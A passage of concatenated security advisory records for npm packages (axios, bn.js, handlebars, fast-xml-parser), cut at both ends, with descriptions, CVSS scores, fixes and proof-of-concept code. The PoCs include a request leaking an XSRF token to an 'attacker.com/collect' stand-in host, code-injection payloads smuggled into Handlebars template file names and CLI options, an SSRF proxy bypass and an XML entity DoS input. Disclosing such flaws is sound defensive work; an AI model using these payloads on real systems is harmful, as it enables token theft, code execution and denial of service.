  "details": "# Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams\n\n## Summary\n\nThe `encode()` function in `lib/helpers/AxiosURLSearchParams.js` contains a character mapping (`charMap`) at line 21 that **reverses** the safe percent-encoding of null bytes. After `encodeURIComponent(\u0027\\x00\u0027)` correctly produces the safe sequence `%00`, the charMap entry `\u0027%00\u0027: \u0027\\x00\u0027` converts it back to a raw null byte.\n\nThis is a clear encoding defect: every other charMap entry encodes in the safe direction (literal \u2192 percent-encoded), while this single entry decodes in the opposite (dangerous) direction.\n\n**Severity:** Low (CVSS 3.7)\n**Affected Versions:** All versions containing this charMap entry\n**Vulnerable Component:** `lib/helpers/AxiosURLSearchParams.js:21`\n\n## CWE\n\n- **CWE-626:** Null Byte Interaction Error (Poison Null Byte)\n- **CWE-116:** Improper Encoding or Escaping of Output\n\n## CVSS 3.1\n\n**Score: 3.7 (Low)**\n\nVector: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | Attacker controls input parameters remotely |\n| Attack Complexity | High | Standard axios request flow (`buildURL`) uses its own `encode` function which does NOT have this bug. Only triggered via direct `AxiosURLSearchParams.toString()` without an encoder, or via custom `paramsSerializer` delegation |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Impact limited to HTTP request URL |\n| Confidentiality | None | No confidentiality impact |\n| Integrity | Low | Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser |\n| Availability | None | No availability impact |\n\n## Vulnerable Code\n\n**File:** `lib/helpers/AxiosURLSearchParams.js`, lines 13-26\n\n```javascript\nfunction encode(str) {\n  const charMap = {\n    \u0027!\u0027: \u0027%21\u0027,     // literal \u2192 encoded (SAFE direction)\n    \"\u0027\": \u0027%27\u0027,     // literal \u2192 encoded (SAFE direction)\n    \u0027(\u0027: \u0027%28\u0027,     // literal \u2192 encoded (SAFE direction)\n    \u0027)\u0027: \u0027%29\u0027,     // literal \u2192 encoded (SAFE direction)\n    \u0027~\u0027: \u0027%7E\u0027,     // literal \u2192 encoded (SAFE direction)\n    \u0027%20\u0027: \u0027+\u0027,     // standard transformation (SAFE)\n    \u0027%00\u0027: \u0027\\x00\u0027,  // LINE 21: encoded \u2192 raw null byte (UNSAFE direction!)\n  };\n  return encodeURIComponent(str).replace(/[!\u0027()~]|%20|%00/g, function replacer(match) {\n    return charMap[match];\n  });\n}\n```\n\n### Why the Standard Flow Is NOT Affected\n\n```javascript\n// buildURL.js:36 \u2014 uses its OWN encode function (lines 14-20), not AxiosURLSearchParams\u0027s\nconst _encode = (options \u0026\u0026 options.encode) || encode;  // buildURL\u0027s encode\n\n// buildURL.js:53 \u2014 passes buildURL\u0027s encode to AxiosURLSearchParams\nnew AxiosURLSearchParams(params, _options).toString(_encode);  // external encoder used\n\n// AxiosURLSearchParams.js:48 \u2014 when encoder is provided, internal encode is NOT used\nconst _encode = encoder ? function(value) { return encoder.call(this, value, encode); } : encode;\n//                                                                              ^^^^^^\n//                                           internal encode passed as 2nd arg but only used if\n//                                           the external encoder explicitly delegates to it\n```\n\n## Proof of Concept\n\n```javascript\nimport AxiosURLSearchParams from \u0027./lib/helpers/AxiosURLSearchParams.js\u0027;\nimport buildURL from \u0027./lib/helpers/buildURL.js\u0027;\n\n// Test 1: Direct AxiosURLSearchParams (VULNERABLE path)\nconst params = new AxiosURLSearchParams({ file: \u0027test\\x00.txt\u0027 });\nconst result = params.toString();  // NO encoder \u2192 uses internal encode with charMap\nconsole.log(\u0027Direct toString():\u0027, JSON.stringify(result));\n// Output: \"file=test\\u0000.txt\" (contains raw null byte)\nconsole.log(\u0027Hex:\u0027, Buffer.from(result).toString(\u0027hex\u0027));\n// Output: 66696c653d74657374002e747874  (00 = null byte)\n\n// Test 2: Via buildURL (NOT vulnerable \u2014 standard axios flow)\nconst url = buildURL(\u0027http://example.com/api\u0027, { file: \u0027test\\x00.txt\u0027 });\nconsole.log(\u0027Via buildURL:\u0027, url);\n// Output: http://example.com/api?file=test%00.txt  (%00 preserved safely)\n```\n\n## Verified PoC Output\n\n```\nDirect toString(): \"file=test\\u0000.txt\"\nContains raw null byte: true\nHex: 66696c653d74657374002e747874\n\nVia buildURL: http://example.com/api?file=test%00.txt\nContains raw null byte: false\nContains safe %00: true\n```\n\n## Impact Analysis\n\n**Primary impact is limited** because the standard axios request flow is not affected. However:\n\n- **Direct API users:** Applications using `AxiosURLSearchParams` directly for custom serialization are affected\n- **Custom paramsSerializer:** A `paramsSerializer.encode` that delegates to the internal encoder triggers the bug\n- **Code defect signal:** The directional inconsistency in charMap is a clear coding error with no legitimate use case\n\nIf null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.\n\n## Recommended Fix\n\nRemove the `%00` entry from charMap and update the regex:\n\n```javascript\nfunction encode(str) {\n  const charMap = {\n    \u0027!\u0027: \u0027%21\u0027,\n    \"\u0027\": \u0027%27\u0027,\n    \u0027(\u0027: \u0027%28\u0027,\n    \u0027)\u0027: \u0027%29\u0027,\n    \u0027~\u0027: \u0027%7E\u0027,\n    \u0027%20\u0027: \u0027+\u0027,\n    // REMOVED: \u0027%00\u0027: \u0027\\x00\u0027\n  };\n  return encodeURIComponent(str).replace(/[!\u0027()~]|%20/g, function replacer(match) {\n    //                                           ^^^^ removed |%00\n    return charMap[match];\n  });\n}\n```\n\n## Resources\n\n- [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html)\n- [CWE-116: Improper Encoding or Escaping of Output](https://cwe.mitre.org/data/definitions/116.html)\n- [OWASP: Embedding Null Code](https://owasp.org/www-community/attacks/Embedding_Null_Code)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-15 | Vulnerability discovered during source code audit |\n| 2026-04-16 | Report revised: documented standard-flow limitation, corrected CVSS |\n| TBD | Report submitted to vendor via GitHub Security Advisory |",
  "id": "GHSA-xhjh-pmcv-23jw",
  "modified": "2026-05-05T00:18:03Z",
  "published": "2026-05-05T00:18:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-xhjh-pmcv-23jw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42040"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62718"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-09T17:32:19Z",
    "nvd_published_at": "2026-04-09T15:16:08Z",
    "severity": "MODERATE"
  },
  "details": "Axios does not correctly handle hostname normalization when checking `NO_PROXY` rules.\nRequests to loopback addresses like `localhost.` (with a trailing dot) or `[::1]` (IPv6 literal) skip `NO_PROXY` matching and go through the configured proxy.\n\nThis goes against what developers expect and lets attackers force requests through a proxy, even if `NO_PROXY` is set up to protect loopback or internal services.\n\nAccording to [RFC 1034 \u00a73.1](https://datatracker.ietf.org/doc/html/rfc1034#section-3.1) and [RFC 3986 \u00a73.2.2](https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2), a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, `localhost.` is the same as `localhost`. \nHowever, Axios does a literal string comparison instead of normalizing hostnames before checking `NO_PROXY`. This causes requests like `http://localhost.:8080/` and `http://[::1]:8080/` to be incorrectly proxied.\n\nThis issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.\n\n---\n\n**PoC**\n\n```js\nimport http from \"http\";\nimport axios from \"axios\";\n\nconst proxyPort = 5300;\n\nhttp.createServer((req, res) =\u003e {\n  console.log(\"[PROXY] Got:\", req.method, req.url, \"Host:\", req.headers.host);\n  res.writeHead(200, { \"Content-Type\": \"text/plain\" });\n  res.end(\"proxied\");\n}).listen(proxyPort, () =\u003e console.log(\"Proxy\", proxyPort));\n\nprocess.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;\nprocess.env.NO_PROXY = \"localhost,127.0.0.1,::1\";\n\nasync function test(url) {\n  try {\n    await axios.get(url, { timeout: 2000 });\n  } catch {}\n}\n\nsetTimeout(async () =\u003e {\n  console.log(\"\\n[*] Testing http://localhost.:8080/\");\n  await test(\"http://localhost.:8080/\"); // goes through proxy\n\n  console.log(\"\\n[*] Testing http://[::1]:8080/\");\n  await test(\"http://[::1]:8080/\"); // goes through proxy\n}, 500);\n```\n\n**Expected:** Requests bypass the proxy (direct to loopback).\n**Actual:** Proxy logs requests for `localhost.` and `[::1]`.\n\n---\n\n**Impact**\n\n* Applications that rely on `NO_PROXY=localhost,127.0.0.1,::1` for protecting loopback/internal access are vulnerable.\n* Attackers controlling request URLs can:\n\n  * Force Axios to send local traffic through an attacker-controlled proxy.\n  * Bypass SSRF mitigations relying on NO\\_PROXY rules.\n  * Potentially exfiltrate sensitive responses from internal services via the proxy.\n  \n  \n---\n\n**Affected Versions**\n\n* Confirmed on Axios **1.12.2** (latest at time of testing).\n* affects all versions that rely on Axios\u2019 current `NO_PROXY` evaluation.\n\n---\n\n**Remediation**\nAxios should normalize hostnames before evaluating `NO_PROXY`, including:\n\n* Strip trailing dots from hostnames (per RFC 3986).\n* Normalize IPv6 literals by removing brackets for matching.",
  "id": "GHSA-3p68-rc4w-qgx5",
  "modified": "2026-05-08T13:46:43Z",
  "published": "2026-04-09T17:32:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62718"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/10661"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/10688"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc1034#section-3.1"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v0.31.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.15.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "bn.js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.12.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "bn.js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-2739"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-20T21:18:31Z",
    "nvd_published_at": "2026-02-20T05:17:53Z",
    "severity": "MODERATE"
  },
  "details": "This affects versions of the package bn.js before 4.12.3 and 5.2.3. Calling maskn(0) on any BN instance corrupts the internal state, causing toString(), divmod(), and other methods to enter an infinite loop, hanging the process indefinitely.",
  "id": "GHSA-378v-28hj-76wf",
  "modified": "2026-02-24T14:45:53Z",
  "published": "2026-02-20T06:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2739"
    },
    {
      "type": "WEB",
      "url": "https://github.com/indutny/bn.js/issues/186"
    },
    {
      "type": "WEB",
      "url": "https://github.com/indutny/bn.js/issues/316"
    },
    {
      "type": "WEB",
      "url": "https://github.com/indutny/bn.js/issues/316#issuecomment-3924217358"
    },
    {
      "type": "WEB",
      "url": "https://github.com/indutny/bn.js/pull/317"
    },
    {
      "type": "WEB",
      "url": "https://github.com/indutny/bn.js/commit/33df26b5771e824f303a79ec6407409376baa64b"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/Kr0emer/02370d18328c28b5dd7f9ac880d22a91"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/indutny/bn.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/indutny/bn.js/releases/tag/v5.2.3"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-BNJS-15274301"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "bn.js affected by an infinite loop"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42042"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-201"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T00:25:22Z",
    "nvd_published_at": "2026-04-24T18:16:31Z",
    "severity": "MODERATE"
  },
  "details": "# Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion\n\n## Summary\n\nThe Axios library\u0027s XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the `withXSRFToken` config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (`isURLSameOrigin`) is **short-circuited**, causing XSRF tokens to be sent to **all** request targets including cross-origin servers controlled by an attacker.\n\n**Severity:** Medium (CVSS 5.4)\n**Affected Versions:** All versions since `withXSRFToken` was introduced\n**Vulnerable Component:** `lib/helpers/resolveConfig.js:59`\n**Environment:** Browser-only (XSRF logic only runs when `hasStandardBrowserEnv` is true)\n\n## CWE\n\n- **CWE-201:** Insertion of Sensitive Information Into Sent Data\n- **CWE-183:** Permissive List of Allowed Inputs\n\n## CVSS 3.1\n\n**Score: 5.4 (Medium)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP triggered remotely via vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx |\n| Privileges Required | None | No authentication needed |\n| User Interaction | Required | Victim must use browser with axios making cross-origin requests |\n| Scope | Unchanged | Token leakage within browser context |\n| Confidentiality | Low | XSRF token leaked \u2014 anti-CSRF token, not session token |\n| Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) |\n| Availability | None | No availability impact |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input** when triggered via prototype pollution.\n\nIf an attacker can pollute `Object.prototype.withXSRFToken` with any truthy value (e.g., `1`, `\"true\"`, `{}`), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.\n\n## Vulnerable Code\n\n**File:** `lib/helpers/resolveConfig.js`, lines 57-66\n\n```javascript\n// Line 57: Function check \u2014 only applies if withXSRFToken is a function\nwithXSRFToken \u0026\u0026 utils.isFunction(withXSRFToken) \u0026\u0026 (withXSRFToken = withXSRFToken(newConfig));\n\n// Line 59: The vulnerable condition\nif (withXSRFToken || (withXSRFToken !== false \u0026\u0026 isURLSameOrigin(newConfig.url))) {\n//  ^^^^^^^^^^^^^^^^\n//  When withXSRFToken = 1 (truthy non-boolean): this is true \u2192 short-circuits\n//  isURLSameOrigin() is NEVER called \u2192 token sent to ANY origin\n  const xsrfValue = xsrfHeaderName \u0026\u0026 xsrfCookieName \u0026\u0026 cookies.read(xsrfCookieName);\n  if (xsrfValue) {\n    headers.set(xsrfHeaderName, xsrfValue);\n  }\n}\n```\n\n**Designed behavior:**\n- `true` \u2192 always send token (explicit cross-origin opt-in)\n- `false` \u2192 never send token\n- `undefined` \u2192 send only for same-origin requests\n\n**Actual behavior for non-boolean truthy values (`1`, `\"false\"`, `{}`, `[]`):**\n- All treated as truthy \u2192 same-origin check skipped \u2192 token sent everywhere\n\n## Proof of Concept\n\n```javascript\n// Simulated prototype pollution from any vulnerable dependency\nObject.prototype.withXSRFToken = 1;\n\n// In browser with document.cookie = \"XSRF-TOKEN=secret-csrf-token-abc123\"\n// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123\n// Even to cross-origin hosts:\nawait axios.get(\u0027https://attacker.com/collect\u0027);\n// \u2192 attacker receives the XSRF token in request headers\n```\n\n## Verified PoC Output\n\n```\nwithXSRFToken Value        Sends Token Cross-Origin  Expected\ntrue (boolean)             YES                       Yes (opt-in)\nfalse (boolean)            No                        No\nundefined (default)        No                        No\n1 (number)                 YES \u2190 BUG                No\n\"false\" (string)           YES \u2190 BUG                No\n{} (object)                YES \u2190 BUG                No\n[] (array)                 YES \u2190 BUG                No\n\nPrototype pollution:\n  Object.prototype.withXSRFToken = 1\n  config.withXSRFToken = 1 \u2192 leaks=true\n  isURLSameOrigin() was NOT called (short-circuited)\n```\n\n## Impact Analysis\n\n- **XSRF Token Theft:** Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application\n- **Universal Scope:** A single `Object.prototype.withXSRFToken = 1` affects every axios request in the application\n- **Misconfiguration Risk:** Developer writing `withXSRFToken: \"false\"` (string) instead of `false` (boolean) triggers the same issue without PP\n\n**Limitations:**\n- Browser-only (XSRF logic runs only in `hasStandardBrowserEnv`)\n- XSRF tokens are anti-CSRF tokens, not session tokens \u2014 leakage enables CSRF but not direct session hijacking\n- Attacker still needs a way to deliver the forged request after obtaining the token\n\n## Recommended Fix\n\nUse strict boolean comparison:\n\n```javascript\n// FIXED: lib/helpers/resolveConfig.js\nconst shouldSendXSRF = withXSRFToken === true ||\n  (withXSRFToken == null \u0026\u0026 isURLSameOrigin(newConfig.url));\n\nif (shouldSendXSRF) {\n  const xsrfValue = xsrfHeaderName \u0026\u0026 xsrfCookieName \u0026\u0026 cookies.read(xsrfCookieName);\n  if (xsrfValue) {\n    headers.set(xsrfHeaderName, xsrfValue);\n  }\n}\n```\n\n## Resources\n\n- [CWE-201: Insertion of Sensitive Information Into Sent Data](https://cwe.mitre.org/data/definitions/201.html)\n- [CWE-183: Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-15 | Vulnerability discovered during source code audit |\n| 2026-04-16 | Report revised: corrected CVSS, documented limitations |\n| TBD | Report submitted to vendor via GitHub Security Advisory |",
  "id": "GHSA-xx6v-rp6x-q39c",
  "modified": "2026-05-05T00:25:22Z",
  "published": "2026-05-05T00:25:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-xx6v-rp6x-q39c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42042"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.7.8"
      },
      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.7.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33941"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-79",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T18:22:10Z",
    "nvd_published_at": "2026-03-27T22:16:21Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings \u2014 template file names and several CLI options \u2014 directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.\n\n## Description\n\n`lib/precompiler.js` generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:\n\n### 1. Template name injection\n\n```javascript\n// Vulnerable code pattern\noutput += \u0027templates[\"\u0027 + template.name + \u0027\"] = template(...)\u0027;\n```\n\n`template.name` is derived from the file system path. A filename containing `\"` or `\u0027];` breaks out of the string literal and injects arbitrary JavaScript.\n\n### 2. Namespace injection (`-n` / `--namespace`)\n\n```javascript\n// Vulnerable code pattern\noutput += \u0027var templates = \u0027 + opts.namespace + \u0027 = \u0027 + opts.namespace + \u0027 || {};\u0027;\n```\n\n`opts.namespace` is emitted as raw JavaScript. Anything after a `;` in the value becomes an additional JavaScript statement.\n\n### 3. CommonJS path injection (`-c` / `--commonjs`)\n\n```javascript\n// Vulnerable code pattern\noutput += \u0027var Handlebars = require(\"\u0027 + opts.commonjs + \u0027\");\u0027;\n```\n\n`opts.commonjs` is interpolated inside double quotes with no escaping, allowing `\"` to close the string and inject further code.\n\n### 4. AMD path injection (`-h` / `--handlebarPath`)\n\n```javascript\n// Vulnerable code pattern\noutput += \"define([\u0027\" + opts.handlebarPath + \"handlebars.runtime\u0027], ...)\";\n```\n\n`opts.handlebarPath` is interpolated inside single quotes, allowing `\u0027` to close the array element.\n\nAll four injection points result in code that executes when the generated bundle is `require()`d or loaded in a browser.\n\n## Proof of Concept\n\n**Template name vector (creates a file `pwned` on disk):**\n\n```bash\nmkdir -p templates\nprintf \u0027Hello\u0027 \u003e \"templates/evil\u0027] = (function(){require(\\\"fs\\\").writeFileSync(\\\"pwned\\\",\\\"1\\\")})(); //.handlebars\"\n\nnode bin/handlebars templates -o out.js\nnode -e \u0027require(\"./out.js\")\u0027  # Executes injected code, creates ./pwned\n```\n\n**Namespace vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n  -n \"App.ns; require(\u0027fs\u0027).writeFileSync(\u0027pwned2\u0027,\u00271\u0027); //\"\nnode -e \u0027require(\"./out.js\")\u0027\n```\n\n**CommonJS vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n  -c \u0027handlebars\"); require(\"fs\").writeFileSync(\"pwned3\",\"1\"); //\u0027\nnode -e \u0027require(\"./out.js\")\u0027\n```\n\n**AMD vector:**\n\n```bash\nnode bin/handlebars templates -o out.js -a \\\n  -h \"\u0027); require(\u0027fs\u0027).writeFileSync(\u0027pwned4\u0027,\u00271\u0027); // \"\nnode -e \u0027require(\"./out.js\")\u0027\n```\n\n## Workarounds\n\n- **Validate all CLI inputs** before invoking the precompiler. Reject filenames and option values  that contain characters with JavaScript string-escaping significance (`\"`, `\u0027`, `;`, etc.).\n- **Use a fixed, trusted namespace string** passed via a configuration file rather than  command-line arguments in automated pipelines.\n- **Run the precompiler in a sandboxed environment** (container with no write access to sensitive  paths) to limit the impact of successful exploitation.\n- **Audit template filenames** in any repository or package that is consumed by an automated  build pipeline.",
  "id": "GHSA-xjpj-3mr7-gcpf",
  "modified": "2026-03-30T20:08:52Z",
  "published": "2026-03-27T18:22:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xjpj-3mr7-gcpf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33941"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/handlebars-lang/handlebars.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-beta.3"
            },
            {
              "fixed": "4.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33036"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-17T19:45:41Z",
    "nvd_published_at": "2026-03-20T06:16:11Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe fix for CVE-2026-26278 added entity expansion limits (`maxTotalExpansions`, `maxExpandedLength`, `maxEntityCount`, `maxEntitySize`) to prevent XML entity expansion Denial of Service. However, these limits are only enforced for DOCTYPE-defined entities. **Numeric character references** (`\u0026#NNN;` and `\u0026#xHH;`) and standard XML entities (`\u0026lt;`, `\u0026gt;`, etc.) are processed through a separate code path that does NOT enforce any expansion limits.\n\nAn attacker can use massive numbers of numeric entity references to completely bypass all configured limits, causing excessive memory allocation and CPU consumption.\n\n## Affected Versions\n\nfast-xml-parser v5.x through v5.5.3 (and likely v5.5.5 on npm)\n\n## Root Cause\n\nIn `src/xmlparser/OrderedObjParser.js`, the `replaceEntitiesValue()` function has two separate entity replacement loops:\n\n1. **Lines 638-670**: DOCTYPE entities \u2014 expansion counting with `entityExpansionCount` and `currentExpandedLength` tracking. This was the CVE-2026-26278 fix.\n2. **Lines 674-677**: `lastEntities` loop \u2014 replaces standard entities including `num_dec` (`/\u0026#([0-9]{1,7});/g`) and `num_hex` (`/\u0026#x([0-9a-fA-F]{1,6});/g`). **This loop has NO expansion counting at all.**\n\nThe numeric entity regex replacements at lines 97-98 are part of `lastEntities` and go through the uncounted loop, completely bypassing the CVE-2026-26278 fix.\n\n## Proof of Concept\n\n```javascript\nconst { XMLParser } = require(\u0027fast-xml-parser\u0027);\n\n// Even with strict explicit limits, numeric entities bypass them\nconst parser = new XMLParser({\n  processEntities: {\n    enabled: true,\n    maxTotalExpansions: 10,\n    maxExpandedLength: 100,\n    maxEntityCount: 1,\n    maxEntitySize: 10\n  }\n});\n\n// 100K numeric entity references \u2014 should be blocked by maxTotalExpansions=10\nconst xml = `\u003croot\u003e${\u0027\u0026#65;\u0027.repeat(100000)}\u003c/root\u003e`;\nconst result = parser.parse(xml);\n\n// Output: 500,000 chars \u2014 bypasses maxExpandedLength=100 completely\nconsole.log(\u0027Output length:\u0027, result.root.length);  // 500000\nconsole.log(\u0027Expected max:\u0027, 100);  // limit was 100\n```\n\n**Results:**\n- 100K `\u0026#65;` references \u2192 500,000 char output (5x default maxExpandedLength of 100,000)\n- 